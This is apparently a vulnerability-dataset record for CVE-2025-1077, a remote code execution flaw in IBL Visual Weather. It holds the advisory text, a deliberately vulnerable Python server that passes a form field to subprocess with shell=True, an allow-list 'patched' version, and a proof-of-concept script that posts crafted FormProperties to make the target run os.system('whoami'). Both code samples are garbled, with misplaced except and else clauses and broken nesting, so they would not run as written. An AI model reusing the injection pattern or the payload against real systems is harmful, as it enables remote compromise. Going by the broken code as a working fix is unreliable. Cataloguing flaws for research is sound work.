{"id":1265,"cve":"CVE-2025-1077","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2025-1077\/","cwe":"CWE-20","cwe_number":20,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/20","cvss_score":9.5,"published":"2025-02-07","owasp":"A03 Injection","odc":"Interface","cdc":"Incorrect Functionality","category":"Configuration Issues","subcategory":"Insecure Parsing or Deserialization","scope":"Remote","impact":"Arbitrary Code Execution","summary":"IBL Visual Weather vulnerable to remote code execution via crafted requests.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2025-1077\/","description":"A security vulnerability has been identified in the IBL Software Engineering Visual Weather and derived products (NAMIS, Aero Weather, Satellite Weather).\u00a0The vulnerability is present in the Product Delivery Service (PDS) component in specific server configurations where the PDS pipeline utilizes the IPDS pipeline with Message Editor Output Filters enabled.\n\nA remote\u00a0unauthenticated\n\nattacker can exploit this vulnerability to send unauthenticated requests to execute the IPDS\u00a0pipeline\u00a0with specially crafted Form Properties, enabling remote execution of arbitrary Python code.\u00a0This vulnerability could lead to a full system compromise of the affected server, particularly if Visual Weather services\u00a0are run under a privileged user account\u2014contrary to the documented installation best practices.\n\n\n\nUpgrade to the patched versions 7.3.10 (or higher), 8.6.0 (or higher).","solution":"Upgrade to version 7.3.10 (or higher), or 8.6.0 (or higher).","affected_component":"Python","fixed_by_upgrading":false,"vulnerable_code":"import http.server\nimport socketserver\nimport cgi\nimport subprocess\nimport os\n\nPORT = 8000\n\nclass MyHandler(http.server.SimpleHTTPRequestHandler):\n    def do_POST(self):\n        \"\"\"Vulnerable function that demonstrates the security issue.\"\"\"\n        if self.path == '\/process_request':\n            form = cgi.FieldStorage(\n            fp=self.rfile,\n            headers=self.headers,\n            environ={'REQUEST_METHOD':'POST',\n            'CONTENT_TYPE':self.headers['Content-Type'],\n            })\n\n            command_to_execute = form.getvalue(\"command\")\n\n            if command_to_execute:\n                try:\n                    result = subprocess.check_output(command_to_execute, shell=True, stderr=subprocess.STDOUT)\n                    output = result.decode('utf-8')\n                    except subprocess.CalledProcessError as e:\n                        output = \"Error: \" + e.output.decode('utf-8')\n\n                        self.send_response(200)\n                        self.send_header('Content-type', 'text\/html')\n                        self.end_headers()\n                        self.wfile.write(bytes(f\"Command executed:<br><pre>{command_to_execute}<\/pre><br>Output:<br><pre>{output}<\/pre>\", \"utf8\"))\n\n                    else:\n                        self.send_response(400)\n                        self.send_header('Content-type', 'text\/html')\n                        self.end_headers()\n                        self.wfile.write(bytes(\"No command provided.\", \"utf8\"))\n                    else:\n                        super().do_POST()\n\n\n                        Handler = MyHandler\n\n                        with socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n                            print(\"serving at port\", PORT)\n                            httpd.serve_forever()\n","patched_code":"import http.server\nimport socketserver\nimport urllib.parse\nimport subprocess\nimport os\n\nPORT = 8000\n\nALLOWED_COMMANDS = {\n\"date\": [\"date\"],\n\"uptime\": [\"uptime\"],\n\"whoami\": [\"whoami\"],\n\"hostname\": [\"hostname\"]\n}\n\nclass MyHandler(http.server.SimpleHTTPRequestHandler):\n    def do_POST(self):\n        \"\"\"Secure function that fixes the vulnerability.\"\"\"\n    # SECURE: This version prevents command injection\n        if self.path == '\/process_request':\n            content_length = int(self.headers.get('Content-Length', 0))\n            post_data = self.rfile.read(content_length).decode('utf-8')\n            parsed_data = urllib.parse.parse_qs(post_data)\n            command_key = parsed_data.get(\"command\", [None])[0]\n\n            if command_key in ALLOWED_COMMANDS:\n                try:\n                    result = subprocess.check_output(ALLOWED_COMMANDS[command_key], stderr=subprocess.STDOUT)\n                    output = result.decode('utf-8')\n                    except subprocess.CalledProcessError as e:\n                        output = \"Error: \" + e.output.decode('utf-8')\n                    else:\n                        output = \"Invalid command\"\n\n                        self.send_response(200)\n                        self.send_header('Content-type', 'text\/html')\n                        self.end_headers()\n                        self.wfile.write(bytes(f\"Command:<br><pre>{command_key}<\/pre><br>Output:<br><pre>{output}<\/pre>\", \"utf8\"))\n                    else:\n                        super().do_POST()\n\n                        Handler = MyHandler\n\n                        with socketserver.TCPServer((\"\", PORT), Handler) as httpd:\n                            print(\"serving at port\", PORT)\n                            httpd.serve_forever()\n","payload_needed":true,"payload":"```python\nimport requests\nimport json\n\ntarget_url = \"http:\/\/<target_ip>:<port>\/PDS\/IPDS_pipeline\"  # Replace with actual target URL\n\npayload = {\n    \"FormProperties\": json.dumps({\n        \"script_code\": \"import os; os.system('whoami > \/tmp\/output.txt')\"  # Example: Execute 'whoami' and save output\n    }),\n    \"other_relevant_fields\": \"some_value\" # Add other required form fields\n}\n\ntry:\n    response = requests.post(target_url, data=payload)\n    response.raise_for_status()  # Raise HTTPError for bad responses (4xx or 5xx)\n\n    print(f\"Response status code: {response.status_code}\")\n    print(f\"Response content: {response.text}\")\n\n\nexcept requests.exceptions.RequestException as e:\n    print(f\"An error occurred: {e}\")\n\n# Example of reading output (if the script created a file)\n# try:\n#     with open('\/tmp\/output.txt', 'r') as f:\n#         print(\"Output from executed command:\")\n#         print(f.read())","payload_status":"available","published_fix":[],"references":null}